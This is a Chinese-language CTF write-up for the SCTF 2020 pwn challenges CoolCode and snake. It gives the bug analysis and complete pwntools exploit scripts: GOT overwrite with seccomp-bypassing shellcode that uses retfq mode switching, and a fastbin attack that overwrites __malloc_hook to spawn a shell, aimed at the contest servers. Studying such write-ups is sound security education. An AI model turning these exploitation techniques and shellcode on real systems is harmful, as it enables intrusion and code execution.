2020SCTF-PWN部分解题思路

July 7, 2020 CTF-Writeup 访问: 96 次

CoolCode

题目基本信息:

 radish ➜ sctf  checksec CoolCode
[*] '/media/psf/Home/Desktop/sctf/CoolCode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
 radish ➜ sctf  seccomp-tools dump ./CoolCode

 #     #                                                              #####                     
 #  #  # ###### #       ####   ####  #    # ######    #####  ####    #     # #####  ####  ###### 
 #  #  # #      #      #    # #    # ##  ## #           #   #    #   #         #   #    # #      
 #  #  # #####  #      #      #    # # ## # #####       #   #    #    #####    #   #      ##### 
 #  #  # #      #      #      #    # #    # #           #   #    #         #   #   #      #     
  ## ##  ###### ######  ####   ####  #    # ######      #    ####     #####    #    ####  #    
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0006
 0002: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0006
 0003: 0x15 0x02 0x00 0x00000009  if (A == mmap) goto 0006
 0004: 0x15 0x01 0x00 0x00000005  if (A == fstat) goto 0006
 0005: 0x06 0x00 0x00 0x00050005  return ERRNO(5)
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

审计之后发现漏洞点在add函数里面,v1是有符号的,如果我们输入一个负数的话,就可以将某一个地址上的值改成我们申请的堆块的地址,程序没有开启NX保护,我们可以将堆上输入我们的shellcode,程序流劫持到堆上。

unsigned __int64 add()
{
  int v1; // [rsp+Ch] [rbp-14h]
  void *s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v1 = 0;
  printf("Index: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 1 && index <= 2 )
  {
    s = malloc(0x20uLL);
    memset(s, 0, 0x28uLL);
    heap_list[v1] = s;
    read_str(s, 32);
    ++index;
    puts("Done.");
  }
  else
  {
    puts("Not enough space.");
  }
  return __readfsqword(0x28u) ^ v3;
}

sub_400BA6中,限制了我们输入的字符串必须是大写字母或者是数字

unsigned __int64 __fastcall sub_400BA6(char *a1, int a2)
{
  void *v2; // rsp
  __int64 v4; // [rsp+0h] [rbp-40h]
  int v5; // [rsp+4h] [rbp-3Ch]
  char *dest; // [rsp+8h] [rbp-38h]
  char v7; // [rsp+13h] [rbp-2Dh]
  int v8; // [rsp+14h] [rbp-2Ch]
  __int64 v9; // [rsp+18h] [rbp-28h]
  void *s; // [rsp+20h] [rbp-20h]
  unsigned __int64 v11; // [rsp+28h] [rbp-18h]

  dest = a1;
  v5 = a2;
  v11 = __readfsqword(0x28u);
  v8 = 0;
  v9 = a2 + 16 - 1LL;
  v2 = alloca(16 * ((a2 + 16 + 15LL) / 0x10uLL));
  s = &v4;
  memset(&v4, 0, a2);
  printf("messages: ", 0LL);
  v8 = read(0, s, v5);
  if ( v8 < 0 )
  {
    puts("read error.");
    exit(1);
  }
  v7 = *(s + v8 - 1);
  if ( v7 == 10 )
    v7 = 0;
  if ( check(s, v8) )
  {
    puts("read error.");
    exit(1);
  }
  strncpy(dest, s, v8);
  return __readfsqword(0x28u) ^ v11;
}

signed __int64 __fastcall check(__int64 a1, int a2)
{
  int i; // [rsp+14h] [rbp-8h]

  for ( i = 0; i < a2 - 1; ++i )
  {
    if ( (*(i + a1) <= 0x2F || *(i + a1) > '9') && (*(i + a1) <= '@' || *(i + a1) > 'Z') )
      return 1LL;
  }
  return 0LL;
}

注意观察程序的check函数,对输入的字符串的最后一位没有验证
全部是大写和数字的shellcode没找到,也可能没有,所以要绕过这个限制,当我们输入shellcode不符合规定的时候就会执行

puts("read error.");
exit(1);

所以可以对这两个函数下手,修改这两个函数的got表

修改exit的got为堆上的地址,我们可控,我们输入的字符串为:这三个指令能够将程序流挟持到栈上我们不受限制的shellcode

"\x58\x54\xc3"
'''
pop rax
push rsp
ret
'''

然后在bss段上在写上shellcode,把程序流再转移到bss段上,程序限制了没有open函数

绕过方法就是通过retfq把系统位数换成32位,用int 80来调用32位的open函数把flag读入到内存里面,然后再利用retfq转到64位来进行readwrite即可

exp:

from pwn import *
import sys
context.log_level='debug'
context.binary="./CoolCode"
debug = 0

file_name = './CoolCode'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '39.107.119.192'
prot = '9999'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

file = ELF(file_name)

sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def add(index,value):
    ru('Your choice :')
    sl('1')
    ru('Index: ')
    sl(str(index))
    ru('messages: ')
    sd(value)
def delete(index):
    ru('Your choice :')
    sl('3')
    ru('Index: ')
    sl(str(index))
def show(index):
    ru('Your choice :')
    sl('2')
    ru('Index: ')
    sl(str(index))
def debug():
    gdb.attach(r,"b *0x000000000400CC3")
    raw_input()

add(-22,"\x58\x54\xc3")

'''
pop rax
push rsp
ret
'''


shellcode = '''
    xor rdi,rdi
    mov rsi,0x602500
    push 0x100
    pop rdx
    push rdi
    pop rax
    syscall
    push rsi;
    ret;
    '''
add(0,asm(shellcode))
# print (asm(shellcode))
shellcode_2 = '''
    push 0x23;
    push 0x602510;
    retfq;
'''
#open("flag\x00")
shellcode_3 = '''
    mov esp,0x602600;
    mov ebx,0x602509;
    mov eax,5;
    xor ecx,ecx;
    int 0x80;
'''

shellcode_4 = '''
    mov rdi,3;
    mov rsi,0x602700;
    mov rdx,0x50;
    xor rax,rax;
    syscall;
    mov rdi,1;
    mov rsi,0x602700;
    mov rdx,0x50;
    mov rax,1;
    syscall;
'''


sl(asm(shellcode_2)+"flag\x00\x00\x00"+'\xbc\x80\x25\x60\x00\xbb\x09\x25\x60\x00\xb8\x05\x00\x00\x00\x31\xc9\xcd\x80\x6a\x33\x68\x30\x25\x60\x00'+asm('retfq;')+"aaaa"+asm(shellcode_4))
ri()

snake

这个题是个纸老虎,看起来很复杂,但是找到关键点就容易了,程序中read的输入一共有三个

Direction   Type    Address Text
Up  p   sub_4011A6+F3   call    _read
    p   sub_4015F8+CF   call    _read
Down    p   main+240    call    _read

第一处和第二处调用read的时候是固定的,第三处是通过坐标来计算出来的,那么有问题的只能是第三个,把坐标(x,y)调到最大,然后读入的时候发现存在one by off,接下来的利用手法就是很平常啦,fastbin attack一把梭即可

exp:

from pwn import *
import sys
context.log_level='debug'
debug = 0
file_name = './snake'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '39.107.244.116'
prot = '9999'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

file = ELF(file_name)

sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def add(index,chunk_size,value):
    ru('4.start name')
    sl('1')
    ru('index?')
    sl(str(index))
    ru("how long?")
    sl(str(chunk_size))
    ru('name?')
    sl(value)
def delete(index):
    ru('4.start name')
    sl('2')
    ru('index?')
    sl(str(index))

def get_n(index):
    ru('4.start name')
    sl('3')
    ru("index?")
    sl(str(index))
def start_n():
    ru('4.start name')
    sl('4')
def debug():
    gdb.attach(r)
    raw_input()

ru("how long?\n")
sl(str(0x68))
ru("input name\n")
sl("test")
# ru("please leave words:")
for x in range(36):
    sl("")
    r.recv()
ru("please leave words:")
sl("a"*0x4c+"\xe1")
ru("if you want to exit?")

add(1,0x68,"test")
add(2,0x68,"test")
add(3,0x68,"test")
delete(0)
add(0,0x68,"test")
get_n(1)
start_n()
for x in range(35):
    r.recv()
    sl("")

r.recv()
# raw_input()
data = ru("please leave words:")
# print "$$$$"
libc_base = u64(data[13:13+6]+"\x00\x00")-3951480
li("libc_base",libc_base)
li("puts",libc.symbols['puts'])
# ru("please leave words:")
sl("a"*0x4c)
ru("if you want to exit?")
sl("n")
add(4,0x68,"test")
delete(1)
delete(3)
delete(4)
add(1,0x68,p64(libc.symbols['__malloc_hook']-0x23+libc_base))
add(3,0x68,"test")
add(4,0x68,"test")
one_gg = 0xf1147+libc_base
add(5,0x68,"aaaaaaaaaaa"+p64(0)+p64(one_gg))
ru('4.start name')
sl('1')
ru('index?')
sl(str(6))
ru("how long?")
sl(str(0x10))
# debug()
ri()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

SCTF{iS_SO_EAZY_SNAKE_GAME_YOU_ARE_SO_CLEVER}
'''

添加新评论